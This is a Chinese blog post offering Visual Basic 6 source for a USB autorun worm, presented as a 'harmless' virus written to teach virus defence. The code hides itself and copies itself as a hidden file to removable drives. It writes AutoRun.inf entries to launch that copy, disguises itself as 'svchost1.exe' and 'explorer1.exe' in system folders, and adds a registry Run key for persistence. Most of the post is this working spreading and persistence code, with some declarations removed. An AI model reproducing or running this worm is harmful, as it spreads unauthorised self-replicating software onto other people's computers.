一个毫无恶意的病毒源程序,让大家了解病毒,防范病毒-CSDN博客

本文链接：https://blog.csdn.net/szlemail/article/details/1760344

只有自我隐藏保护和传染的功能.除了要用资源管理器打开U盘外,不会给你带来任何不便.还能防止其它autorun病毒传染.因此,本"病毒"毫无恶意,只是写出来让大家了解病毒,防范病毒.

只要在窗体上放上timer控件.复制代码到代码窗口里就好了.

为防他人不良用途.部分声名部分代码已删除.不影响对病毒的了解.

Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
lpValueName As String, ByVal reserved As Long, ByVal dwtype As Long, lpData As Any, ByVal cbdata As Long) As Long
As String, phkResult As Long) As Long
Private syspath As String
Const namesys = "svchost1.exe"
Const namemen = "explorer1.exe"

Private Sub sysdir() '这个子程序的作用是得到windows路径
     syspath = String(255, 0)
     GetWindowsDirectory syspath, 256
     syspath = Left(syspath, InStr(1, syspath, Chr(0)) - 1)
End Sub

Private Sub Spread() '优盘传播
     Dim driveType As Long
     Dim driveDescription As String

     Dim fs, folder, file As Object
     Dim sourceFile As String, destFile As String, filename As String
         Dim UDiskDrive As String, pasteDir As String

     Dim i As Integer
     Dim driveLetter(10) As String
     driveLetter(1) = "D:/"
     driveLetter(2) = "E:/"
     driveLetter(3) = "F:/"
     driveLetter(4) = "G:/"
     driveLetter(5) = "H:/"
     driveLetter(6) = "I:/"
     driveLetter(7) = "J:/"
     driveLetter(8) = "K:/"
     driveLetter(9) = "L:/"
     driveLetter(10) = "M:/"
     For i = 1 To 10
         driveType = GetDriveType(driveLetter(i))
         If driveType = 2 Then

             UDiskDrive = driveLetter(i)
             Set fs = CreateObject("Scripting.FileSystemObject")
             Set folder = fs.GetFolder(UDiskDrive)
                 'For Each file In folder.Files
             sourceFile = App.Path & "/" & App.EXEName & ".exe" '指示磁盘文件位置，用于复制到优盘。
             destFile = UDiskDrive & "~tmp.exe" '在优盘上位置
             filename = "~tmp.exe"
             If App.Path = UDiskDrive Then '在优盘上，不复制。

             ElseIf Dir(destFile, vbHidden + vbReadOnly + vbSystem) = "" Then
                 fs.CopyFile sourceFile, destFile
                 SetAttr destFile, vbHidden + vbReadOnly + vbSystem
             End If


             If Dir(UDiskDrive & "AutoRun.inf", vbHidden + vbReadOnly + vbSystem) <> "" Then '去只读
                 SetAttr UDiskDrive & "AutoRun.inf", vbNormal
             End If
             If Dir(UDiskDrive & "AutoRun.inf", vbHidden + vbReadOnly) <> "" Then '去只读
                 SetAttr UDiskDrive & "AutoRun.inf", vbNormal
             End If
             If Dir(UDiskDrive & "AutoRun.inf", vbReadOnly) <> "" Then '去只读
                 SetAttr UDiskDrive & "AutoRun.inf", vbNormal
             End If
             Open UDiskDrive & "AutoRun.inf" For Output As #5
             Print #5, "[AutoRun]" & Chr(13) & Chr(10) & "open=" & filename & Chr(13) & Chr(10) & "shell/open=打开(&O)" & Chr(13) & Chr(10) & "shell/open/Command=" & filename & Chr(13) & Chr(10) & "shell/explore=资源管理器(&X)" & Chr(13) & Chr(10) & "shell/explore/Command=" & Chr(34) & filename & " -e" & Chr(34)
             Close 5
             SetAttr UDiskDrive & "AutoRun.inf", vbHidden + vbReadOnly + vbSystem


                 'Next

End If
Next i

End Sub

Private Sub Form_Load()

Me.Hide
Call sysdir
App.TaskVisible = False
App.Title = ""
Timer1.Enabled = True
Timer1.Interval = 3000
End Sub

Private Sub Timer1_Timer()
Call Spread

'开始复制文件
If Dir(syspath & "/system32/drivers/" & namesys) = "" Then
FileCopy App.Path & "/" & App.EXEName & ".exe", syspath & "/system32/drivers/" & namesys
End If
'开始复制到开始菜单
If Dir(Left(syspath, 2) & "/Documents and Settings/All Users/「开始」菜单/程序/启动/" & namemen) = "" Then
FileCopy App.Path & "/" & App.EXEName & ".exe", Left(syspath, 2) & "/Documents and Settings/All Users/「开始」菜单/程序/启动/" & namemen
End If
'开始写启动项
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run/" & App.EXEName, syspath & "/system32/drivers/" & namesys
End Sub

声名,本程序原创.

请勿转载或修改成不良程序,否则后果自负.